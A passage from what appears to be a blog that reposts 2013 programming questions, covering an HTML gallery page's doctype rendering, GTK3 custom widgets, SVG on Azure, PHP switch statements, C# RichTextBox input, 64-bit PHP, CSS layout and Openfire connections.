up my style so that it looks like on this picture.

Without this line (I guess the browser is working in HTML4 mode then) it
looks correct:

Take a look at the file by yourself:
http://ablage.stabentheiner.de/2013-08-10_gallery.html
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Language" content="de">
<meta charset="UTF-8">
<title>Gallerie</title>
<base target="Hauptframe">
<style fprolloverstyle>
A:hover {color: #FF0000; font-weight: bold}
.imagefloat {
border: medium solid #FFF;
float: left;
margin-top: 0px;
margin-right: 16px;
margin-bottom: 20px;
margin-left: 0px;
}
.nowrap {
text-align: center;
font-family: Arial, Helvetica, sans-serif;
font-style: italic;
font-size: 16px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px;
}
.nowrapline2 {
font-size: 12px;
margin-top: 0px;
margin-bottom: 0px;
margin-right: 0px;
margin-left: 0px;
}
.nowrapline3 {
font-size: 10px;
margin-top: 0px;
margin-bottom: 0px;
margin-right: 0px;
margin-left: 0px;
}
.error {
font-weight: bold;
color: #F00;
}
</style>
</head>
<body bgcolor="#CCFFCC" background="../background.gif">
<div class="imagefloat">
<table border="0" cellspacing="0">
<tr>
<td><a href=""><img src="http://placehold.it/148x148" width="148"
height="148" border="0"></a></td>
</tr>
<tr height="80px">
<td bgcolor="#FFFFFF" width="148px">
<p class="nowrap">Title</p><p class="nowrap
nowrapline2">Subtitle</p><p class="nowrap
nowrapline3">Copyright</p>
</td>
</tr>
</table>
</div>
<div class="imagefloat">
<table border="0" cellspacing="0">
<tr>
<td><a href=""><img src="http://placehold.it/148x148" width="148"
height="148" border="0"></a></td>
</tr>
<tr height="80px">
<td bgcolor="#FFFFFF" width="148px">
<p class="nowrap">Title</p><p class="nowrap
nowrapline2">Subtitle</p>
</td>
</tr>
</table>
</div>
</body>

Write custom widget with GTK3

Write custom widget with GTK3

I am trying to find the simplest example of a custom widget being written
for Gtk-3.
So far the best thing I've found is this (using PyGTK), but it seems to be
targeted to Gtk-2.
BTW: I don't care the language it is written in, but if we can avoid C++,
much better!

Friday, August 9, 2013

None of the SVG on Azure remedies have worked for me

None of the SVG on Azure remedies have worked for me

The approach outlined in these posts has not worked for me:
-Use SVG in Windows Azure Websites: (Use SVG in Windows Azure Websites)
-The Usual HTML 5 Media Types:
(http://odetocode.com/blogs/scott/archive/2012/08/07/configuration-tips-for-asp-net-mvc-4-on-a-windows.aspx)
-ASP.NET enable SVG images Azure, to be put in system.webServer:
(https://gist.github.com/kyranjamie/5104476)
Specifically I have purchased a video player product and its control bar
uses svg to draw its assets, play/pause/rewind/FF/full screen buttons,
etc. I've deployed the player to other servers and the controls render. I
get that the type is simply not defined on my Azure server and needs to
be. Nothing I do gets me there though.
My project is an ASP.NET MVC 4 app via VS 2012. If you have a suggestion
it would be appreciated.

#EANF#

#EANF#

#EANF#

Is break; required after die() php

Is break; required after die() php

I've been thinking to much...
In the area of switch case is break; required after die()
Example:
switch($i){
case 0:
die('Case without break;');
case 1:
die('Case with break;');
break;
}

Calculate length of text entered in RichTextBox c# winform

Calculate length of text entered in RichTextBox c# winform

I have RichTextBox and I want to calculate the length of text entered in
the KeyDown event. The problem is for characters in capital form I have to
press Shift which is also getting calculated in the length. See the
following code:
private void rtfText_KeyDown(object sender, KeyEventArgs e)
{
if (e.Modifiers != Keys.Shift)
{
var val = (char)e.KeyValue;
string _typed += val;
}
}
For texts like "Win" with capital 'W' the length of _typed is shown as 4
where as it is 3. How to solve this ?

Is there any reason not to install PHP as 64bit on a Windows 2008 R2 server?

Is there any reason not to install PHP as 64bit on a Windows 2008 R2 server?

Do all the modules and libraries (third party and non-third party) work in
64bit? I read other questions on SO, but I have not seen anything recent.
I wanted to install 5.5.1 64bit. Is 64bit flaky?
Also was hoping to find out if there is any advantage to 64 over 32 other
than the size of an integer or other number.

How to fully span right-hand div, when left div is fixed size?

How to fully span right-hand div, when left div is fixed size?

I'm having two div layouted as inline-block. I want the left div to be of
a fixed size and the right to fully span of what is left on the line - but
never move to the next line. So, to divs on the same line. One is fixed,
the other fully spans.
I prepared a JSFiddle, which is NOT what I intended, because the divs are
on seperate lines. Any CSS-expert that did this before?
http://jsfiddle.net/yT5Gc/1/

Thursday, August 8, 2013

How do I connect to the openfire server?

How do I connect to the openfire server?

How do I connect to openfire server as a client ? I have installed
openfire on my machine and want to connect to the server from another
machine.
Both the machines are on the same LAN. Basically I want to create a new
user by signing up.